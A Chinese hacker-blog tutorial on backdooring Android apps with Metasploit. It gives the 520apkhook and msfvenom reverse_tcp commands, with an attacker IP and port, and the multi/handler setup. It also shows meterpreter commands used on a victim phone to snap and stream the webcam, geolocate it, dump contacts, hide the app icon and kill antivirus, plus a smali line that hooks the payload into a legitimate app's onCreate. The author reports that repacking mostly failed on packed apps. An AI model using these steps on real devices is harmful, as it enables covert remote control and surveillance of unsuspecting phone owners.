一次失败的 MSF 远控 Android 设备实验
涂寐 Lv5

0x00 前言

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

  1. 写这个是去年时看到春天师傅说的,想玩一下,原是拿我正在用的物理机实验,版本高,卒。
  2. 在逛暗魂社区时,看到以为师傅写的 520apkhook 注入,想着试一波,想了好久。
  3. 等到快过年,尝试完 520apkhook,不算成功,想着手工,跟着我跨年了。
  4. 直到现在,经过多次尝试,终是以失败告终,木有未加壳|加壳较弱的APP。

0x01 全自动注入

一、待用工具

  1. 一台kali主机
  2. 一台安卓机/模拟器
  3. 一个APK注入工具
  4. 一个无壳诱惑性APP

二、选择APP

  1. 盲目下载型的APP,某些购物助力软件
  2. 小众但常用型APP,某些密码破解器
  3. 注:部分被加固的软件无法进行 520apkhook 注入,可另觅一个
  4. 事后:APP基本加壳了,看运气吧

三、恶意APP

  1. kali 终端写入git clone https://github.com/cleverbao/520apkhook.git拉取注入工具
  2. 先安装个模块:pip install pycryptodome
  3. 执行注入python3 main.py --lhost 192.168.184.129 --lport 1433 -n ../tumei.apk
    image
  4. 看下提示生成的远控Apk在: /home/kali/Test/520apkhook/WorkDir/AllFinish.apk
    生成的Msf Handler在: /home/kali/Test/520apkhook/WorkDir/handler.rc
    image

四、通信设置

  1. 执行监听msfconsole -r WorkDir/handler.rc,报错:

    1
    2
    3
    4
    5
    6
    7
    Ready...                                                                                                                    
    > access security
    access: PERMISSION DENIED.
    > access security grid
    access: PERMISSION DENIED.
    > access main security grid
    access: PERMISSION DENIED....and...
  2. 默默将网络连接设为桥接模式,使手机和虚拟机在同一网段(192.168.0.2192.168.0.3),再开放端口,使手机能 ping 通虚拟机

  3. 写下开放端口步骤:

    安装 ufw 防火墙工具: apt-get install ufw
    查看 ufw 防火墙状态:ufw status
    启动 ufw 防火墙:ufw enable
    开放 1433 端口:ufw allow 1433
    查看已添加规则:ufw status numbered
    删除已添加规则:ufw delete allow 1433
    关闭 ufw 防火墙:ufw disable

五、后渗透

  1. 确实是防火墙的缘故,效果一样,懒得重新截图,现在操作一波上线的小可爱
    image
  2. 写入命令 sessions 查看当前监听的所有会话,根据 Id 号进入相应会话的交互终端 sessions 6
    image
  3. 终端模式写入命令 ?help 查看帮助文档,当前已翻译
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    Core Commands
    核心命令
    =============

    Command Description
    ------- -----------
    ? 帮助菜单
    background 本届会议的背景
    bg 背景别名
    bgkill 杀死后台MeTrPrter脚本
    bglist 列出正在运行的后台脚本
    bgrun 作为后台线程执行MeterMeter脚本
    channel 显示信息或控制活动通道
    close 关闭频道
    detach 分离MeterMeter会话(对于http/https)
    disable_unicode_encoding 禁用unicode字符串的编码
    enable_unicode_encoding 启用unicode字符串的编码
    exit 终止MeterMeter会话
    get_timeouts 获取当前会话超时值
    guid 获取会话GUID
    help 帮助菜单
    info 显示有关Post模块的信息
    irb 在当前会话上打开一个交互式Ruby shell
    load 加载一个或多个流量计扩展
    machine_id 获取连接到会话的计算机的MSF ID
    pry 在当前会话上打开Pry调试器
    quit 终止MeterMeter会话
    read 从通道读取数据
    resource 运行存储在文件中的命令
    run 执行MeterMeter脚本或Post模块
    secure (重新)协商会话上的TLV数据包加密
    sessions 快速切换到另一个会话
    set_timeouts 设置当前会话超时值
    sleep 强制MeterMeter安静,然后重新建立会话
    transport 管理运输机制
    use “加载”的不推荐别名
    uuid 获取当前会话的UUID
    write 将数据写入通道


    Stdapi: File system Commands
    Stdapi:文件系统命令
    ============================

    Command Description
    ------- -----------
    cat 将文件内容读取到屏幕上
    cd 更改目录
    checksum 检索文件的校验和
    cp 将源复制到目标
    del 删除指定的文件
    dir 列出文件(ls的别名)
    download 下载文件或目录
    edit 编辑文件
    getlwd 打印本地工作目录
    getwd 打印工作目录
    lcd 更改本地工作目录
    lls 列出本地文件
    lpwd 打印本地工作目录
    ls 列出文件
    mkdir 制作目录
    mv 将源移动到目标
    pwd 打印工作目录
    rm 删除指定的文件
    rmdir 删除目录
    search 搜索文件
    upload 上传文件或目录


    Stdapi: Networking Commands
    Stdapi:网络命令
    ===========================

    Command Description
    ------- -----------
    ifconfig 显示界面
    ipconfig 显示界面
    portfwd 将本地端口转发到远程服务
    route 查看和修改路由表


    Stdapi: System Commands
    Stdapi:系统命令
    =======================

    Command Description
    ------- -----------
    execute 执行命令
    getenv 获取一个或多个环境变量值
    getuid 获取运行服务器的用户
    localtime 显示目标系统本地日期和时间
    pgrep 按名称筛选进程
    ps 列出正在运行的进程
    shell 放入系统命令外壳
    sysinfo 获取有关远程系统的信息,例如操作系统


    Stdapi: User interface Commands
    Stdapi:用户界面命令
    ===============================

    Command Description
    ------- -----------
    screenshare 实时观察远程用户桌面
    screenshot 抓取交互式桌面的屏幕截图


    Stdapi: Webcam Commands
    Stdapi:网络摄像头命令
    =======================

    Command Description
    ------- -----------
    record_mic 从默认麦克风录制音频X秒
    webcam_chat 开始视频聊天
    webcam_list 列出网络摄像头
    webcam_snap 从指定的网络摄像头拍摄快照
    webcam_stream 从指定的网络摄像头播放视频流


    Stdapi: Audio Output Commands
    Stdapi:音频输出命令
    =============================

    Command Description
    ------- -----------
    play 在目标系统上播放波形音频文件(.wav)


    Android Commands
    安卓命令
    ================

    Command Description
    ------- -----------
    activity_start 从Uri字符串启动Android活动
    check_root 检查设备是否root
    dump_calllog 获取通话记录
    dump_contacts 获取联系人列表
    dump_sms 获取短信
    geolocate 使用地理定位获取当前lat long
    hide_app_icon 从启动器中隐藏应用程序图标
    interval_collect 管理间隔收集功能
    send_sms 从目标会话发送短信
    set_audio_mode 设置振铃器模式
    sqlite_query 从存储器中查询SQLite数据库
    wakelock 启用/禁用Wakelock
    wlan_geolocate 使用WLAN信息获取当前lat long


    Application Controller Commands
    应用程序控制器命令
    ===============================

    Command Description
    ------- -----------
    app_install 使用WLAN信息获取当前lat long
    app_list 列出设备中已安装的应用程序
    app_run 启动包名称的主活动
    app_uninstall 请求卸载应用程序
  4. 试了下,大部分命令使用失败,试了多款APP,仅第一款APP无闪退,但也无法联网。

0x02 手工注入

一、牛刀小试

  1. 先试试水,MSF 直接生成一个反弹型恶意 APP,就不截图了
    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=1433 -o tumei.apk
    image
  2. 参数设置与监听
    进入 MSF 控制台:msfconsole
    进入漏洞利用模块:use exploit/multi/handler
    指定为 Android 平台的攻击载荷:set payload android/meterpreter/reverse_tcp
    查看攻击参数:show options
    配置反弹平台参数:设置 IP (set LHOST 192.168.1.6)、设置端口(set LPORT 1433
    开始攻击:exploit
    image

二、小可爱成功上线

  1. 安装恶意APP后,我们拥有了一个小可爱
    image
  2. 写入命令: webcam_list 看下摄像头列表; webcam_snap -i 2 指定摄像头给小可爱照一张美美哒相片。注:第一次执行 webcam_snap 有权限申请提示,如拒绝之后别想了,反之之后不用。
    image
  3. 再看摄像头监控:webcam_stream -i 2,将从网页打开一个实时监控画面(需图形界面)
    image
  4. 定个位,看看小可爱在哪里:geolocate,仍需申请权限。挺准的,就不截图了。
  5. 写入命令 dump_contacts ,将电话簿导出为 txt 文件。仍需申请权限。
    image
  6. 隐藏恶意APP图标,谨慎操作!我是不知道怎么再次显示的:hide_app_icon
  7. 看下APP是在物理机还是模拟器: run post/windows/gather/checkvm
  8. 关闭杀毒软件:run killav
  9. 查看当前用户信息:getuid
    image

三、添加伪装

  1. 先下载反编译工具
    访问官网地址:https://ibotpeaches.github.io/Apktool/install/,作者写得很明白了
    注: wrapper script 需要翻 wall 下载
  2. 移动到你中意的位置,给权限,设环境变量
    1
    2
    3
    # 移动
    root@kali:/home/kali/Tools# mv ../桌面/apktool ./APKTool/
    root@kali:/home/kali/Tools# mv ../桌面/apktool.jar ./APKTool/
    1
    2
    3
    # 加权限
    root@kali:/home/kali/Tools/APKTool# chmod +x apktool
    root@kali:/home/kali/Tools/APKTool# chmod +x apktool.jar
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # 为了方便调用,还是设置环境变量比较好
    root@kali:/home/kali/Tools/APKTool# vim /etc/profile

    # 内容写入 apktool 和 apktool.jar 所在文件夹
    export PATH=${PATH}:/home/kali/Tools/APKTool

    # 重新编译配置文件,使之生效
    source /etc/profile

    # 测试时,直接写入 apktool ,成功则显示帮助信息
  3. 这种方法很麻烦吧,那看下这个呗!一句话搞定:apt-get install apktool
  4. 开始反编译 apktool d tumei.apkapktool d admin.apk,分别得到目录 tumei 和 admin
    注:tumei.apk 为恶意 APP,amin.apk 为正常 APP
    image
    image
  5. 加权限,tumei 目录下 AndroidManifest.xml 文件以 <uses-permission 开头的内容复制到 admin 目录下的同名文件中
    image
  6. 添加启动机制
    正常 APP 中查找 LAUNCHERMAIN
    再找到的文件中查找 onCreate 字符串,写入
    1
    invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
    移动木马文件夹得 metasploit 文件到正常文件的 ../smali/com/
  7. 回编译
    1
    apktool b admin
    报错,经测试发现加壳了,换一个。
  8. ……还是加壳,拜拜了您,爷不干了

0x03 后记

  1. 实践时查询到一些师傅表示,现在还想远控,现在有点明白了,壳有些厚,更多的还是我是一只小小菜鸡
  2. 断断续续从去年写到今年,还是有些收获,至少 MSF 使用总是6了些
 评论